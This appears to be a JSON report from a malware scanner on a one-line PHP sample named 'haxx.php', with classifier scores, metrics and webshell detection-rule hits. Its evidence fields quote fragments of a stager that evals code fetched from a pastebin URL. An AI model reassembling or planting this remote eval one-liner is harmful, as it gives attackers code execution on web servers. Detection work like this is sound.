{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9999744892120361,
        "class": 2
      }
    ],
    "prob": 0.9999745,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.9961331,
        "class": 1
      },
      {
        "m": "az/scripts",
        "prob": 0.9998023,
        "class": 2
      },
      {
        "m": "az/php",
        "prob": 0.9999745,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T05:44:56Z"
  },
  "path": "haxx.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₂(C₄Xe)H₂(PoCm)MdTh",
        "k": {
          "source.imports[0]": "eval",
          "source.imports[1]": "file_get_contents",
          "source.strings[0]": "https://pastebin.com/raw/vQxEfk4B",
          "source.has_imports": true
        },
        "x": 325,
        "id": 0,
        "is": [
          "eval",
          "file_get_contents"
        ],
        "ms": {
          "file": {
            "size": 75.0
          },
          "text": {
            "digit_ratio": 0.02,
            "space_count": 1.0,
            "total_lines": 1.0,
            "char_entropy": 5.04,
            "unique_chars": 39.0,
            "import_density": 200.0,
            "string_density": 4.0,
            "avg_line_length": 75.0,
            "max_line_length": 75.0,
            "last_line_length": 75.0,
            "most_common_char": "t",
            "whitespace_ratio": 0.01,
            "most_common_ratio": 0.08,
            "identifier_density": 2.0,
            "normalized_import_count": 2.0,
            "normalized_string_count": 4.0,
            "max_inline_whitespace_run": 1.0
          },
          "imports": {
            "total": 2.0,
            "unique_modules": 2.0,
            "third_party_count": 2.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 4.0,
            "url_count": 2.0,
            "avg_length": 17.5,
            "max_length": 33.0,
            "avg_entropy": 2.74,
            "total_bytes": 70.0,
            "entropy_stddev": 1.74
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 2.0,
            "avg_length": 10.5,
            "max_length": 17.0,
            "min_length": 4.0,
            "avg_entropy": 2.65,
            "reuse_ratio": 1.0,
            "unique_count": 2.0,
            "length_stddev": 6.5,
            "all_lowercase_ratio": 1.0
          }
        },
        "ss": [
          [
            11,
            "?\u003e"
          ],
          [
            12,
            "?\u003e"
          ],
          [
            34,
            "https://pastebin.com/raw/vQxEfk4B"
          ],
          [
            35,
            "https://pastebin.com/raw/vQxEfk4B"
          ]
        ],
        "sz": 75,
        "ts": [
          {
            "c": 0.8500000238418579,
            "d": "Tiny PHP script footprint",
            "e": [
              "haxx.php"
            ],
            "i": "metadata/file/text/profile::tiny-size",
            "l": 2
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "Pastebin.com reference",
            "e": [
              "pastebin.com"
            ],
            "i": "objectives/command-and-control/infrastructure/paste::pastebin",
            "l": 3
          },
          {
            "c": 0.8199999928474426,
            "d": "Sparse string pool in PHP",
            "e": [
              "strings.total = 4.00"
            ],
            "i": "metadata/file/text/profile::sparse-strings",
            "l": 2
          },
          {
            "a": "T1505.003",
            "d": "PHP open tag",
            "e": [
              "\u003c?php"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-tag",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1505.003",
            "c": 0.8399999737739563,
            "d": "Near-zero whitespace script",
            "e": [
              "text.whitespace_ratio = 0.01"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "File is a one-liner",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/file/text/metrics::file-one-liner",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.949999988079071,
            "d": "eval of file_get_contents result",
            "e": [
              "eval(\"?\u003e\".file_get_contents("
            ],
            "i": "objectives/execution/interpreter/eval/remote::eval-file-get-contents",
            "l": 4,
            "m": "E1059"
          },
          {
            "a": "T1105",
            "c": 0.9700000286102295,
            "d": "eval() executes remote URL content",
            "e": [
              "eval(\"?\u003e\".file_get_contents(\"https://"
            ],
            "i": "objectives/command-and-control/dropper/execution/eval::eval-file-get-contents-url",
            "l": 4,
            "m": "E1059"
          },
          {
            "c": 0.8999999761581421,
            "d": "HTTPS protocol prefix",
            "e": [
              "https://"
            ],
            "i": "micro-behaviors/communications/http/protocol::https-prefix",
            "l": 2
          },
          {
            "a": "T1059.006",
            "c": 0.75,
            "d": "PHP eval() token present",
            "e": [
              "eval"
            ],
            "i": "micro-behaviors/process/interpreter/eval::eval-symbol",
            "l": 4,
            "m": "E1059"
          },
          {
            "c": 0.800000011920929,
            "d": "HTTP request via file_get_contents",
            "e": [
              "file_get_contents",
              "\"https://pastebin.com/raw/vQxEfk4B\""
            ],
            "i": "micro-behaviors/communications/http/client/file-read::file-get-contents-url",
            "l": 3
          },
          {
            "a": "T1505.003",
            "c": 0.9399999976158142,
            "d": "Regex component marker",
            "e": [
              "file_get_contents"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.8999999761581421,
            "d": "php webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings",
            "e": [
              "\u003c?",
              "eval(\"",
              "\u003c?PHp",
              "file_get_contents(\"https://"
            ],
            "i": "third_party/SigBase/EXT/WEBSHELL/PHP/Generic",
            "l": 5
          },
          {
            "c": 0.8999999761581421,
            "d": "Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions.",
            "e": [
              "\u003c?",
              "\u003c?PHp",
              "\u003c?PHp eval("
            ],
            "i": "third_party/SigBase/WEBSHELL/PHP/By/String/Known/Webshell",
            "l": 5
          },
          {
            "c": 0.8999999761581421,
            "d": "typical webshell strings, suspicious",
            "e": [
              "\u003c?",
              "eval(\"?\u003e\"",
              "\u003c?PHp",
              "file_get_contents(\"https://"
            ],
            "i": "third_party/SigBase/WEBSHELL/PHP/Strings/SUSP",
            "l": 5
          }
        ],
        "sha": "a2a6906ba17382f64ca2ee0acaf08d031b666dff28e1f306bb22ab09ad737b87",
        "path": "/data/samples/bad/datasets/awesome-malware/PHP/haxx.php",
        "type": "php"
      }
    ],
    "tv": "a9555"
  }
}